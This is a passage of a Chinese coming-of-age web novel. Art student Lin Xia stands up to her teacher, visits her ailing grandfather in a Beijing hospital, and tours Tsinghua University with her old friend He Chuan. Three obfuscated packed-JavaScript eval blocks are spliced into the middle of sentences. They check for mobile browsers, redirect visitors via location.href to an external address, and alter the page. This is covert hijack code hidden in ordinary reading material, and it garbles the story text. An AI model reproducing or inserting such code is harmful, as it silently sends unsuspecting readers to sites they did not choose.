初中的时候,姜玉华坐在她后面,留了一头又黑又亮的长发,被全班女生羡慕,她是优等生,但是超级臭美,每天镜子不离手,上课也要照来照去,总是穿着最时髦的衣服,时不时的还偷偷化妆,被老师骂过好几次,仍旧我行我素,林夏一直觉得她特别酷。 可是现在的姜玉华,头发剪到耳朵以上,比很多男生都短,而且还有很多白发,满脸冒痘又泛油,戴着一个特别丑特别丑的彩色眼镜,几乎不跟周围任何人说话,每天都只是玩命闷头背单词记笔记。她说头发是她妈妈逼着她剪的,太长了影响学习,分走养分,耽误用脑。 说完这话,她又低头继续抄笔记,没再理林夏了。 姜玉华只是这个班级里众多学生的一个缩影,十三班一共有60个学生,女多男少,其中有超过50个人戴近视镜,超过40个人有少白头,所有的人都在玩命学习,没时间交朋友,没时间看漫画,没时间谈恋爱,只为了分数和成绩机械的活着。 而林夏的新班主任吕虹,也是个女老师,也很年轻,不到三十岁,但是与张兰兰截然相反 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越着急越学不会,越学不会越挨骂,精神和□□的双重压力下,林夏隔一段时间就要生一场病,本来就不好的身体变得更不好了。 终于,熬完了高二上学期,期末考试,返校取成绩取寒假作业。此时距离过年还有不到一周,但吕虹连过年都不让他们消停过,按照排名成绩单从前到后,挨个找学生谈话。 林夏这回意外考得还行,不知道是她超常发挥,还是有人发挥失常跑她后面去了,至少这回她掉出了倒数前十,不再是垫底了。 也许是因为这样,当她战战兢兢的来到吕虹办公室的时候,迎接她的不是如往常一般的疾风骤雨,反而是从来没见过的和颜悦色。 吕虹让林夏坐在办公桌前的椅子上,拿着成绩单又仔细看了一下她的各科成绩和排名,含笑说: “你这回进步很多,你这段时间的努力老师都看在眼里了,这说明你不是笨孩子,林夏,你其实很聪明。” “哦。” 林夏心想我什么时候成笨孩子了? 但她早就放弃和吕虹顶嘴了,她说什么就是什么吧。 “但是以你目前的成绩,还有很大进步空间。” 夸完之后,又开始批评,吕虹把她每科的不足与缺点都念叨了一遍,这些都是老生常谈,林夏心里清楚,于是只是敷衍的听着。 按照惯例,批评完之后谈话差不多也该结束了,然而这一次吕虹话锋一转,却是开启了新的话题: “所以,你是不是该考虑放弃走艺术生了?” 林夏猝不及防被吓了一跳:“什么?” 吕虹不理她的惊讶,表情严肃继续说: “你现在一周有四个晚上都去学画画,不在学校,太浪费了,如果把这些时间用在学习上,你现在的成绩能再上去一大截,努努力,到时候说不定能考上一个重本。” “可是,我想学美术......” 吕虹不等她说完,直接打断她,语气有些轻蔑: “学美术能有什么出路?你能考什么好大学?毕业之后你能找什么工作?无论什么时候,你有一个重本的学历就能有口饭吃。有多少人上学的时候把时间浪费在学艺术上,以为自己高人一等,结果最后文化课不行,只能考一个专科学校,毕业了连个像样工作都找不到,想转行也难,等到那时候你后悔就晚了!” 同办公室的英语老师也插嘴道: “吕老师说得没错,我有个亲戚家孩子就是学音乐的艺术生,家里花大钱给她学了很多年,结果毕业了只能去培训班当老师,连个编制都没有。都说文科就业面窄,其实艺术生就业面更窄,你不做到顶尖就没出路,这世上哪有那么多天才?况且你再有天赋,还比得过那些富贵人家用钱堆出来的教学资源吗?唉,普通人家的孩子学艺术就是个坑。” 其他老师也七嘴八舌跟着帮腔。 吕虹很高兴有人证实自己的观点,又接着对林夏循循善诱: “听见了吧?老师们都是过来人,不会害你的,其实现在你这都晚了,如果高一时我是你班主任,高一时我就让你改过来了。是不是你家长的决定?我待会儿就给你家长打电话,不能再这么耽误你了!” 林夏坐在椅子上,整个人几乎缩成了一小团,面对整个办公室老师的围攻,所谓师长的金玉良言,以少对多,孤立无援。 你必须走他们既定的路线,否则就是异端。 此情此景,多么熟悉啊。 一年多以前,就在这栋教学楼,甚至就在这个楼层,同样有一个人,站在这里,背脊挺直,面对全世界的不理解,面对所有人的反对,仍是坚持自我,没有妥协半分。 林夏学美术是家长的意见,就算吕虹给他们打电话恐怕也说服不了赵倩怡半分。 然而此时此刻,林夏突然觉得,她应该说什么,她必须说什么。 因为这是她自己的人生,她必须自己决定自己的人生,必须自己对自己负责。 她突然噌的一下站了起来,把周围的老师吓了一跳。 她没有何川的口才,没有何川的沉着,没有他有条不紊一一反驳的本事,故而顶着所有老师诧异的、疑惑的、不赞同的目光,她唯一能做的,只有坚定的开口,用最简单直白的语言一字一顿宣布: “不,我不要放弃,我不要改变,我就是要继续学画画。” 18. 春日青(1) 2009年9月2日多云 “列车运行前方是公主坟站,下车的乘客请提前做好准备,公主坟站是换乘车站,换乘地铁10号线的乘客请在这里下车......” 林夏一路上一直很认真的听着广播,生怕自己坐过站,一听到关键词赶紧从座位上站起来,走到门前等待。 这里是北京。 林夏已经来到北京集训两个多月了。 虽然如此,但她几乎没怎么出过门,这只是她生平第二次坐地铁,对流程还不太熟悉,心里有点紧张。 望春没有地铁,省城也没有地铁,林夏从小到大只在电视上见过地铁,虽然这可能只是许多人司空见惯的一种交通工具而已,但却是林夏心目中繁华都市的象征,干净、文明、高速、便捷,这是只属于大城市的标志。 她随着人流下车,根据指示标牌换乘,又坐了一站地后,再次下了车,然后上楼,用借来同学的一卡通刷卡,出站,从C东南口出,坐了长长的扶手梯,终于来到了地面。 感受着室外炎热的空气,林夏长松一口气,靠边找了个没人的地方站定,她拿出手机发了一个短信,然后等待着林学东的到来。 马路好宽,汽车好多,楼房好高,北京的一切和望春都不一样。等待的间隙,林夏忍不住四处打量着,陌生的街道与景色,让她心中充满好奇、向往、胆怯与兴奋。 北京的纬度比望春低得多,夏天比东北长得多,已经立秋了,但天气还是很热,幸好今天是阴天,没有太阳,要是像前段时间那样令人窒息的高温,在户外站上这么几分钟就能中暑。林夏第一次感受到夏天的恐怖,也是第一次发现原来自己这么怕热。 林学东没有叫她多等,大约七八分钟后,他就前来和林夏汇合了。父女俩沿着街道一路往前走,一直来到脸肿瘤医院住院部。 林海生上半年被查出罹患胃癌,不久前在这里进行了切除手术,目前正在休养恢复,等待下个阶段的化疗。林学东来北京陪护,现在林海生情况有所好转,林夏请了一天假,抽空来探望爷爷。 进了病房,林海生半躺在床上,何萍正在小心的喂他吃鸡蛋羹,术后十多天,现在已经可以吃流食了。 林夏有很长一段时间没见到林海生了,这两年来他和何萍很频繁的外出,东南西北哪里都去,或是讲课,或是参展,忙的不得了。 术后的林海生瘦了一大圈,气色不太好,但看起来精神尚可,毕竟这么大岁数的人了,开腔破腹的一番手术,总是要折腾掉半条命。 “爷爷,萍姨。” 林夏规规矩矩的打招呼。 林海生点了点头,一如既往不冷不热。 “夏夏来了,快坐快坐!” 何萍见到她倒还是很热情,自己脱不开身,于是吩咐房间里的另一个人: “小川,快去给夏夏洗水果吃!” 是的,病房里除了林海生,林学东父女,何萍以外,还有第五个人,何川。 林夏没想到会在这里见到他,毫无准备,突如其来,意料之外,倒也情理之中。 他们有整整两年没见了,这两年他都没有回望春,自从那个初中毕业的暑假结束以后,他们就再没见过。两年时间,对于成年人来说不过只是弹指一挥间,重复且无聊的七百多个日夜而已,但对少年人来讲,却是足以翻天覆地,改头换面。 两年时间,林夏从初中到高中,长高了6cm,胖了12斤,好久没看漫画了,因为课业太忙,被迫戒掉了看电视的爱好,今天早上出门匆忙,洗的头发还没有干,草草扎了一个马尾,穿了一件耐脏的黑T恤,一双帆布鞋,一条水洗牛仔裤,上面还有不知道什么时候沾上的颜料痕迹。 而何川呢?林夏不知道这两年来他过得怎么样,但是从外表来看,他变了很多。他也长高了,晒黑了一点点,头发比之前长了一点点,时髦了一点点,他戴了一副无框眼镜,穿了一件带领子的米色polo衫,显得更加斯文书卷气,也更加成熟内敛了。从高中到大学,从望春到香港,他整个人的气质有这样大的变化并不奇怪。 那么,他还记得她吗?还......记得他们之间发生的一切吗? 林夏进门之时,何川并没有看向她,直到何萍开口,他的目光才转向她,好像这才看到她一样。 他对她客气礼貌的笑了笑,然后起身去拿桌上的几袋水果,越过她出了门。 擦肩而过的时候,他没有丝毫的停顿。 林夏在沙发上坐下来到时候,何萍还打趣说: “夏夏,之前你来家里不是还和小川玩得很好吗?几年不见,不认识了?” 林夏腼腆的笑了笑,没有说话。 大人有的时候开口说的话,也不是为了求一个答案的,只是没话找话而已,听着,笑一笑,就够了。 这间病房是单人间,虽然面积不大,但是有独立的卫生间,还有沙发和茶几,住起来应该不会遭罪,陪护的家属也有地方睡。看起来这段时间来探病的人不少,茶几上摆了鲜花和好多营养品,不管病人现在能不能吃,左右心意是带到了。 探病这种事情,其实就是这么回事,除了病人真心想见,需要的陪伴外,剩下都只是为了尽到人情往来上的礼数罢了,起不到什么帮助的作用,累人累己。林夏和林海生虽然是亲爷孙,但并不亲厚,林夏相信自己的到来也并不会给爷爷带来什么精神上的安慰和支持,只是尽一份形式上的孝心而已。于是林海生吃完饭后简单和她聊了几句,接下来就是何萍出面,和林学东东拉西扯林夏这几年的情况,撑场面罢了。 林夏一边吃着何川洗回来的水果,一边在需要她回答的时候,乖巧回答一下。 水果应当也是谁探病买来慰问家属的,有东北不常见到的芒果、杨桃、木瓜,还有看起来就很漂亮的蛇果和橙子。 除了蛇果以外,剩下的何川都给她都洗了,其中芒果被剥了皮,切成块,插上牙签,装在碗里。 她不爱吃蛇果,口感太绵软了,她喜欢脆苹果;她吃芒果不过敏,但是皮肤对芒果过敏,只能切成小块吃,不能用手剥皮用嘴啃,否则就会红肿,可偏偏她还爱吃,只能每次被别人切成小块,她再小心送进口中。 这体质太奇怪了,两年前,她对他说过。 林夏扎起一块芒果放进嘴里,偷偷看向旁边的何川。 他洗完切完水果回来后,就搬了凳子坐在一旁,离林夏不近不远的地方,视线没有落在她身上,他沉默的听着大家的谈话,始终不发一言。 突然间,他的手机响了,把盯着他看的林夏吓了一跳,赶紧把目光收了回来,不小心把手里的芒果掉在了地上,她不敢用手捡,只能抽了桌上的一张面巾纸垫在手上,把地面的痕迹擦掉。 何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629329|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川走出病房接了个电话,然后回来说: “林伯伯,妈,我该走了。” 林海生点了点头,何萍也说: “去吧,别太晚了。” 何川向二人告别,然后向林学东和林夏颔首示意,避免了称呼上的尴尬,然后就这么离开了。 随着他的离去,林夏的心情不由变得低落了起来,接下来何萍和林学东的谈话她都没太听进去。 不知过了多久,当他们说到林海生的病情的时候,林夏下意识开口问了一句: “爷爷什么时候能出院?” 林学东说:“医生说如果各项检查正常,下周应该就能出院了。” “刀口这么快就能长好吗?” “差不多,但彻底长好还需要再休养一段时间,”何萍解释,然后她对林学东说: “学东,这段时间辛苦你了,等出院以后我一个人照顾老师就行,你那边还有工作,别耽误了。” 他们应该是第一次讨论这个问题,林学东闻言皱了皱眉: “你们不回望春?” “不回了,过段时间还要进行下一步治疗,来回折腾,老师身体吃不消。凯仁帮我们在这边找了间房子,出院后我们就搬去那边住。” 林海生也开口说:“学东你不用担心,那是我师兄亲戚家的房子,有事他们那边有个照料。我知道你的假已经不能再请了,我这个病一时半刻好不了,你有心,我知道。” 林学东对此似乎并不赞同,他冷下脸刚想开口,忽然意识到林夏还在这里,于是他克制住情绪,对林夏说: “夏夏,你先回学校吧,爸爸不送你了,自己能找到地铁站吧?” 林夏愣了愣,但她还是听从了林学东的安排,放下手里的东西起身和众人道别。 是她说错话了吗?好像因为她的一句话,他们产生了矛盾,但他们的矛盾,似乎和她这一句话也没什么关系。 林夏走出医院大楼,心中几分疑惑几分茫然。 林学东说下午探病不吉利,所以她今天请了一整天假,一大早就出发了,现在还不到中午,她要就这样回学校吗? 正站在原地发呆的时候,余光看见不远处花坛背阴处坐着一个身影,有些眼熟。开始林夏还有不敢确定,等彻底看清以后,她的一颗心突然剧烈的跳动了起来。 他不是早就走了吗?为什么还在这里? 直觉告诉她,他在等她。可理智告诉她,这只是巧合而已。 感性与理性天人交战,然而它们分出胜负之前,她就已经控制不住自己的腿,一步一步向他走了过去。 何川只是无声的望向她,没有动作,也没有开口,他眼睁睁看着那久违的小姑娘从远及近,一路走到了距离他三步之远的地方,矜持着站定,神色中隐隐带着期待与试探。 于是他起身,拍了拍裤子上的土,迈腿向前两步,填满了最后这段距离。 一步之遥,他们彼此对视。 “两年前的中秋香港下雨了吗?”她问。 “下了,望春呢?”他答。 “也下了。” “那冬至天晴了吗?” “到冬至的时候我就忘了......” “其实,我也忘了。” 而后他们不约而同的笑了。 刹那间,两年时间与空间全都不存在了。 19. 春日青(2) “你怎么坐在那里不出声啊?”林夏有些嗔怪,“我差点没看见你。” 何川笑了笑:“本来也没想叫你的,只是想能碰上就见一面。” “你不是说有事吗?” “不是什么急事。” 那么他在这里,就只是专程等她而已。 林夏心情愉快极了,嘴角忍不住的上扬。 然后她突然又有些懊恼,今天她穿的一点也不好看,本来她就没有带太多衣服来北京,每天闷在画室里画画,几乎没时间没心思打扮了,早上起来她更是随便套了一件衣服就出了门。虽然万幸洗了头发,但是好久没修剪了,没彻底干透就被她绑成了马尾,现在一定已经变形了。 两年没见,她居然这么邋遢的出现在了他的面前,真是讨厌! 她有一大堆话想要问他,但这里不是说话的地方,于是他们两个并肩往地铁站走去。 “你什么时候来北京的?”她都没听说。 “上周。” “待多久啊?” “等林伯伯出院后我再走。” “那你住在哪里?宾馆吗?” “他们租了间房子,就在海淀区。” 看来刚才病房里的争执早就有答案了,其实林夏觉得林海生留在北京休养会比较方便,但林学东的主张应该也有他的道理,林夏不太懂,这也不是她需要懂的事情。 “这两年,你怎么都没回望春?”她有些埋怨,“连过年也没回。” “香港长夏无冬,所以暑假特别长,有三个多月,但寒假特别短,只有十几天,有时候甚至还没来得及过年,往返一次太麻烦。” 这点林夏倒是第一次听说,东北于此相反,寒假长暑假短,从小到大她一直以为是理所当然的事。 “那暑假呢?暑假时间长怎么也没见你回来?” 何川耐心的对她解释:“学校会有一些暑假科目,课程比较简单,还有学分可以修,性价比很高。” 真是好学生完美无缺的答案啊,林夏腹诲,但也只能接受,相信其他人也是如此。 “那你,这两年过得怎么样?”她轻声问,“香港读书好玩吗?” “不能用好不好玩来形容,”他失笑:“有些困难,也有些收获,有些预料到了,也有些预料之外,只能说,整体还好。” 她微微迟疑:“我怎么感觉,你的口音有点......变得奇怪了?” “是吗?” 何川一愣,然后有些不好意思,“可能是因为,周围的同学老师大多是本地人,都说粤语的原因吧,听得久了,口音也不自觉变了。” “就像电影里那样吗?”林夏很感兴趣,“那你现在能听懂吗?会说了吗?” “听得懂,说起来差一些。” 林夏要他说给她听,何川却更不好意思了,被她央求着耳根都开始微微泛红了也不肯说。他皮肤薄,经常一激动就红得很明显。 “别说我了,说说你吧,你怎么也来北京了?”何川强行转移了话题。 林夏轻哼了一声,算了,放他这一马吧。 “我来北京集训啊,你不知道吗?” “没人告诉我。” 是啊,他们两个要想知道彼此的消息,就只能从大人们谈话的只字片语自行留心,而他们在大人眼中的关系,远没有到需要特意知晓对方动向的地步。 “我是6月份来的,已经来了2个多月了。”林夏告诉何川,“老实说,在那之前,我也没想到会来北京。” 美术生在高三上半学期通常是要外出集训的,找一个层次水平更高的画室集中培训,冲刺提高,为高考艺考做准备。林夏身边学美术一路走来的朋友,基本都是在望春本地集训的,林夏本来以为自己也会这样,充其量是去省城,或者周边城市。直到今年5月份的时候,赵倩怡突然跟她说,要她去北京,起因是李雯丈夫的朋友的亲戚,还是亲戚的朋友家的孩子啊就是去了北京,听说那个画室的老师都是清美央美的老师出来兼职,更熟悉艺考套路,教学水平更高,更有针对性,每届一个班里能考上不少学生,虽然价钱比在望春或者省城贵,但是效果不可同日而语,于是赵倩怡当机立断拍板让林夏也去。 林夏没有发言权,不过林学东为此和赵倩怡起了争执,林夏从来没住过校,没离开过父母,他不放心林夏一个人去那么远的地方,连个认识的人都没有。赵倩怡对此很坚持,她认为吃得苦中苦,方为人上人,在望春学美术是浪费天赋,林夏再努力也没什么好发展。 最后结果显而易见,这场关乎林夏未来的分歧,以赵倩怡胜利而告终。 于是林夏顶着班主任吕虹要杀人的目光,从学校请了大半年长假,孤身一人来到了北京。 当然,后来林海生突然患病,来京就医,就是谁也没有预料到的发展了。 何川听后说:“你妈妈的目光很长远,她的选择是对的。来北京集训虽然苦点累点,但你一定会收获更多的。” “我就知道你会站在我妈妈那边的,”林夏叹了口气,“现在我也知道她是对的了。” 北京的画室,和望春的画室,差别实在太大了。 一路聊着,不知不觉已经走到了地铁站。 何川问:“你要去哪里?回画室吗?” 林夏摇了摇头,她犹豫了一下,鼓足勇气开口: “其实,我很想去一个地方,但是一个人不敢去,今天正好有机会,你可不可以陪我去?” 何川答应了她:“你要去哪里?” “我说了,你不准笑我。” “怎么会。” 林夏深吸了一口气,一字一顿说: “我想,去清华大学看看。” . 北京很大,比望春大很多很多,身在其中,对量化数据的对比不会有什么概念,不过林夏亲身经历最直观的体验就是,无论去哪里都好远,好废时间,公交车地铁的一站地好长,差不多有望春两三站那么长。 肿瘤医院和清华虽然同在海淀区,但仍然隔着不小的距离,那个年代没有智能手机,没有导航,在陌生城市想去哪里,只能靠嘴问。何川也是第一次来北京,他和林夏在街边询问了几个热心的路人,又在报刊亭买了一份北京地图,然后在地铁站里面线路图前研究了一会儿,最终他们决定坐地铁去五道口。 “以前我在望春的时候,只想着能考一个一本就很好了,要是能考个重本就更好了,我周围的人也都是这样想的,目标是考省大啊师范啊的美术系。但是来到北京之后,我发现画室那些新同学和我们想的不一样,他们想考清美央美国美,最差的也得是北林鲁美。” 地铁上,两个人并肩坐在一个人少的角落里,林夏小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640055|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对何川说, “以前在望春的时候,我是整个画室画得最好的,但现在,我在班里只是普通水平,他们画得都很好很好,比我好,原来我过去真是井底之蛙。世界那么大,一山还有一山高,如果不是来到北京,我永远也不会明白这个道理。书本上看到,和亲身体验过是不一样的。” 来到北京集训这两个月对林夏整个的冲击非常大,这比高二上了点班周围都是学霸的冲击还要大,因为她潜意识里并不把文化课当成自己的主业,她是艺术生,画画才是她的杀手锏,才是她真正拿得出手的东西,是她的底气,是她自信的根源。然而现在,她突然发现自己一直引以为傲的东西原来没有那样厉害,比起那些优秀的同学,她还差得很多很多。 “你去了港中文,也会有这样的感觉吗?” 林夏抬头,凝望着何川的眼睛,似乎在寻求某种认同。 “会的,”何川轻声说,“香港比起望春,比起内地,是太不同的一座城市了,我们连内地的大城市都没怎么见过,骤然去了香港,看什么都眼花缭乱。有的同学家里特别有钱,开跑车上下学,家里住太平山顶豪宅,动不动私人飞机飞全球度假;有的同学很优秀,会好几门外语,会弹钢琴,会马术,获得许多国外的荣誉与奖项,专业论文也一篇接一篇发表。那些才是天之骄子,比起他们,我什么都不算,英语讲不灵光,电脑基本不会,第一次坐电梯还差点闹出笑话,不产生挫败感是不可能的。但也有条件还不如我的同学,全家七八口挤在十几坪笼屋的,考了很多年三十几岁才进大学的。这个世界是有参差的,就像你说,只有亲身体验才能明白。” 他们来自同一个城市,同一个东北边陲小县,甚至念了同一所高中,有着差不多的亲戚家长圈子,如今,他们各自走出了望春,来到了外面的世界,她初窥门径,他粗通皮毛,他们的感受是共通的。 “是啊,世界是有参差的。”林夏喃喃道。 中国太大了,人太多了,地域差距、南北发展差别太大了,不离开自己生长的城市,到他处生活,是根本感受不到的。 她十六岁才吃过肯德基,十八岁才坐过地铁,这些很多人司空见惯,甚至不屑一顾的东西,她要很努力很幸运才能得到。 差距从一开始就这样赤裸的存在着。 “那你会选择怎么做?” 是要自暴自弃,自艾自怜,还是奋起直追,继续向前? “有很多事情,生来就是注定的,天赋,家世,资源。高考不是最终的尽头,高考结束才是新的开始。我翻不过那些大山,填不平那些沟壑,但我想试一试,尽我所能爬得更高,走得更远,哪怕我有一天真的累了,放弃了,停下脚步了,我也不会后悔。” 少年的眼眸明亮如昔,坚定一如既往,就像是大雾四起的海港中长明的灯塔,给人无尽的方向与力量。 林夏突然笑了起来,她用力点了点头: “是的,我也是这样想。” 所以,她才想去清华看一看,他们都能以清美为目标,为什么她不能?梦想而已,又不花钱,为什么不可以拥有?吕虹笃定她考不上好大学,没有好出路,她偏要让她看走眼!万一她真的能考上呢?到时候所有人一定都会大吃一惊,吓一跳吧? 也许他们一无所有,但至少他们年轻,有无限可能,少年人天经地义可以做梦! 20. 春日青(3) 何川和林夏坐地铁从五道口站下车,一路来到清华大学东南门。然而他们走错了路,清华虽然接待外来游客参观,但是东南门不是参观入口,只有本校学生才能进,进出门是要出示学生卡的。 林夏想着,不然就绕到另一个门去,结果另一个门离这里非常远,走过去的话差不多要大半个小时。 两个人站在路边面面相觑。 何川想了想,对林夏说:“等我一下。” 他打了个电话,等了十几分钟后,只见有两个人骑着自行车从远处过来。北京街上自行车比比皆是,大学附近更是随处可见,林夏本来没发现这两个人是奔着他们来的,直到看见其中一个人在离得还远的地方就拼命冲这边挥手,她隐约觉得这个场景有些眼熟,等那人骑近了一看,果然是何川的同学谭之舟。 林夏想起来了,这个男生好像考到了北大,和清华就是比邻。 两年不见,他也变了很多,大学真是一座大熔炉,他的穿衣打扮也变得时髦多了。 谭之舟立好自行车,走上前不客气的怼了何川肩膀一拳,笑嘻嘻的说: “你小子不是说今天没时间见了吗?怎么突然跑过来了?幸好我刚和朋友在五道口吃饭。” 久不见老同学,何川也很怀念,笑了笑说:“临时决定过来的,想去转转清华。” 谭之舟瞥见一旁的林夏,很诧异:“欸,你不是那个谁?你们怎么又碰到一起了?” 林夏老实回答:“我来北京集训。” “对了,你是美术生来着,哦,是你想来看看清华美院吧?”谭之舟有些意味深长的看向何川,“明白了,怪不得你把我叫过来。行,哥们有眼力见,咱们明后天再聚,你先把东西给我吧。” 何川从口袋里拿出一个东西递给他,谭之舟欣喜的接过来,爱不释手的把玩着,然后开了机。林夏这才看出来那是一部手机,但是很特别,没有键盘,屏幕占据了整个机身,她还是在电视上抽奖广告才见到过,好像是新出的一个很贵牌子的手机。 谭之舟问:“盒子呢?配件呢?” 何川答:“有那个带不过来。” “行吧,这我也知足了,你不知道现在就流行这个,这一来一回港版的就便宜一千多!” 谭之舟又把玩了一会儿,这才恋恋不舍的把手机放进书包里,然后对何川说: “回头我把钱打你卡里,你们跟我朋友进去吧,有空联系!” 谭之舟走后,林夏这才注意到跟他一起来的朋友,她是个女生,留着又黑又直的长发,穿着一身黑色长裙,表情冷冷的,她言简意赅的开口: “跟我走。” 校门口虽然会查看学生证,但也不是那么严格,有清华的学生带着,也能进去。 黑裙女生带着他们两个进了校门后,对他们说: “一直往前走,就是清华路,沿着清华路走就行了。” 然后她骑上自行车一骑绝尘,连名字都没留一个。 林夏望着她离开的背影,呆呆的说:“她好酷。” 清华的女生都这么酷吗? 何川忍俊不禁:“她可能是有点生气了,谭之舟饭吃到一半就被我叫来了。” 林夏意识到了什么:“她是谭之舟的女朋友?” 一个清华一个北大,这也太厉害了吧! “有可能,他女生缘一直不错。” 何川不像她那么好奇,只说, “我们走吧。” “嗯。” 两个人按照疑似谭之舟女朋友的指引往前走着,也不敢拐弯,因为清华实在太大了,建筑太多,岔路太多,一不小心就会迷路。 林夏至今为止念过的所有学校里,面积最大的是实验高中,然而那也不过是两栋教学楼,一栋宿舍楼,一间体育馆,一个操场而已,她从来没见过这么大的学校,连想都不敢想。 这里有多大?感觉快比望春都大了吧?就算没有整个望春大,应该也有一个区那么大了吧! 而且清华并不仅仅是占地广阔,校园风景也十分优美,如今正值盛夏,绿树成荫,碧草青青,各种风格的建筑坐落其间,复古的,现代的,中式的,西式的,自成一派,却又和谐共处。往来芊芊学子,走路的,骑车的,看书的,坐在草坪上聊天的,落在林夏眼里,每个人的精神风貌都是那么不同,那么意气风发,那么自信飞扬。 很巧,从东南门进校不远,就是美术学院。从外面望去,美院的楼气派又有设计感,林夏站在楼前,看着看着,一颗心不禁跳得越来越厉害。明年的这个时候,她,亦或是他们班上某些同学,就有机会进入到这栋大楼里学习,这听起来是多么不可思议的事情。谁将有这份幸运,又谁将有这份福气? 清华路是校内的主干道,许多著名的建筑景点就在这条路附近。进入清华路后,行人明显多了起来,还时不时能看见成群结伙跟着导游的旅行团,和穿着校服来参观的中小学生。 何川笑着说:“港中文也经常有旅游团参观,我的一个外籍同学说,全世界只有中国人出门旅游会热衷于参观大学。” 是啊,因为全世界只有中国人这样笃信知识改变命运,笃信十年寒窗苦读,一朝金榜题名,于是对大学,对知识的殿堂,有这样一种虔诚的崇拜。 林夏与何川跟着某个旅游团后面,一路经过中央主楼、工字厅、近春园,还有朱自清的荷塘,他们想找鼎鼎大名的水木清华亭,却转了好几圈都没找到。很久以后,林夏才知道,其实当时那亭子就在离他们不远的地方,可惜当局者迷,走了好几次都是错过。 清华大礼堂是融合希腊与罗马风格的建筑,红砖圆顶,很特别,很漂亮。大礼堂的前面有一片很大的草坪,看起来非常眼熟,也许出现在某个电视剧的取景里,此时上面正有一对新人穿着婚纱在拍照。 日头西斜,阴沉了大半天的乌云不知何时散了,阳光照射在大地,亦照射在草坪南端那曾经属于圆明园遗物的日晷上。 林夏站在那里,心中久久不能平静。 从1912年至今,梁思成、林徽因、杨绛、闻一多、曹禺......那么多历史上闪耀的群星,就从这里走出来,她这辈子从来没离这些课本上的名字这样近过。 此时此刻,她心里燃起一股从未有过的渴望与冲动,她想在这里读书,她想成为这些学生中的一份子,她想坐在这样的教室里学习,她想在荷塘边写生!她要努力,她要做到,她必须要成功! 然而与此同时,另有一股悲哀与无力涌上心头,怎么可能呢?她怎么配进入这间全国数一数二的最高学府呢?她怎么配拥有这么好的东西呢?每年全国高考生有多少?艺考生有多少?考入清北的又有多少?她不过是他们其中很平凡很平凡的一份子,她要付出多大的辛苦,遇见多大的机缘才能成功呢? 这两种情绪在她内心不断交织、激荡,反而让她渐渐平静了下来。 好吧,就这样吧,我来过了,我看见了,至少我知道,以后我该为了什么而努力了。 最后的最后,林夏与何川来到了二校门,那个清华最标志性的建筑,那座青砖白柱三拱牌坊门。很多人都在这里照相留念,何川拿出手机问林夏,要不要拍照? 林夏却摇了摇头:“不了,拍了,也不会属于我。” 她抬头最后看了一眼校门上“清华园”那三个字,在心里默默发下宏愿: 这将是她最后一次以游客身份来参观,下一次她来到这里的时候,必定是她以清华学生的身份入学报道的时候,否则,她绝不会再来! 然后,她回头,笑着对何川说:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645698|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我们走吧。” . 两个人步行走了整整一个下午,都是又累又饿。于是离开清华以后,他们去了五道口吃饭。 北京的很多地名都取得很随性,也很奇怪,据说最初五道口是因京张铁路从北京北站出发后第五个道口而定名的,后来因为附近高校林立而繁华。此时已经入夜,一眼望去,高楼大厦,商店成片,人与车川流不息,霓虹灯五光十色,实在热闹极了。 何川发短信提前询问了谭之舟,被他推荐了几家饭店,于是他们两个就近去了率先看见的第一家。那是一家生煎店,卖的是上海生煎、灌汤包、粉丝汤,还有一些其他小吃糕点。林夏没吃过,看什么都新奇,但是价格有些贵,她不敢多点,就很小心点点了四只生煎一碗白粥。 北京什么都贵,她还没习惯这里的物价。 何川看出来她的心思,也没点破,直接又点了两份鲜虾生煎,一份灌汤包,一份珍珠糯米团子,还有几样小菜。 店里是先结账后上菜,他拿钱包的时候,林夏拦住他: “我来我来!现在我可以有零用钱的人了,以前吃了你那么多好吃的,这回可得让我请你一次。” 何川把她的手按下来,直接把钱交给服务员,笑着说: “你的零用钱就好好留着吧,自己一个人在这边,处处都需要花销,我平常勤工俭学,有赚钱,不用替我省,想吃什么就点。” “这些已经够多了!” 林夏有些不好意思,但因为对象是他,所以好像也没有那么不好意思,他对自己好,她只觉得很开心。 “你平常在打工吗?都做什么?”她问。 “在校内找兼职不难,学校有专门发布studenthelper的论坛,有的教授也会发邮件招聘,一般是办公室助理这类工作,帮忙整理数据,做调查问卷,翻译文献,查找论文引文之类的。按小时结算,工资都还可以,勤快一点的话,基本可以把生活费赚出来。” “听起来好厉害!” 那些对林夏来说都是很遥远的事情,她由衷的感慨,同时也由衷觉得他好辛苦,他的学费是奖学金全免,生活费是自己挣来的,大概他真的如当初承诺的那样,没有管家里伸手再要过钱。 